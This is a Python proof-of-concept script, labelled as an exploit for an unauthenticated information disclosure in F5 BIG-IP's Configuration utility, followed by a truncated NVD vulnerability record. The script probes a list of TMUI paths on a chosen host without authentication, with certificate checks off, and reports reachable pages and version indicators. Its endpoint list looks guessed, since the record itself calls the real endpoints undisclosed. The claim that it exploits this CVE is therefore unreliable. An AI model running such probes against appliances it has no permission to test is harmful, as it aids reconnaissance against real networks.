CVE-2025-59268

# CVE-2025-59268 - F5 BIG-IP Configuration Utility Information Disclosure PoC # This PoC demonstrates accessing undisclosed endpoints on BIG-IP TMUI # without authentication to retrieve static non-sensitive information. import requests import urllib3 # Disable SSL warnings for self-signed certificates (common in BIG-IP deployments) urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) def exploit_bigip_info_disclosure(target_host, port=443): """ Exploit CVE-2025-59268: Access undisclosed TMUI endpoints that leak static non-sensitive information without authentication. """ base_url = f"https://{target_host}:{port}" # Undisclosed endpoints in the Configuration utility (TMUI) # These endpoints return static non-sensitive information undisclosed_endpoints = [ "/tmui/login.jsp", # Login page (may expose version info) "/tmui/system/genericallowed", # System generic info endpoint "/tmui/Control/jspmap", # JSP mapping info "/tmui/locallb/", # Local load balancer info "/tmui/app/", # Application info ] print(f"[*] Targeting F5 BIG-IP at: {base_url}") print(f"[*] CVE-2025-59268: Unauthenticated Information Disclosure\n") for endpoint in undisclosed_endpoints: url = base_url + endpoint try: # Send unauthenticated GET request to undisclosed endpoint response = requests.get( url, verify=False, timeout=10, headers={ "User-Agent": "Mozilla/5.0 (compatible; SecurityResearch)", "Accept": "*/*" } ) if response.status_code == 200: print(f"[+] Accessible (HTTP {response.status_code}): {endpoint}") # Extract relevant information from response content_length = len(response.content) print(f" Content-Length: {content_length} bytes") # Look for version/config indicators in response if "BIG-IP" in response.text or "F5" in response.text: print(f" [!] F5/BIG-IP indicators found in response") else: print(f"[-] HTTP {response.status_code}: {endpoint}") except requests.exceptions.RequestException as e: print(f"[!] Error accessing {endpoint}: {e}") print(f"\n[*] Scan complete. Check results for information leakage.") if __name__ == "__main__": import sys target = sys.argv[1] if len(sys.argv) > 1 else "192.168.1.1" exploit_bigip_info_disclosure(target)

{"cve": {"id": "CVE-2025-59268", "sourceIdentifier": "[email protected]", "published": "2025-10-15T14:15:53.780", "lastModified": "2025-10-21T19:33:09.407", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "On the BIG-IP system, undisclosed endpoints that contain static non-sensitive information are accessible to an unauthenticated remote attacker through the Configuration utility.  Note: Software versions which have reached End of Technical Support (EoTS) are not evaluated."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 6.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-201"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:f5:big-ip_access_policy_manager:*:*:*:*:*:*:*:*", "versionStartIncluding": "15.1.0", "versionEndExcluding": "15.1.10.8", "matchCriteriaId": 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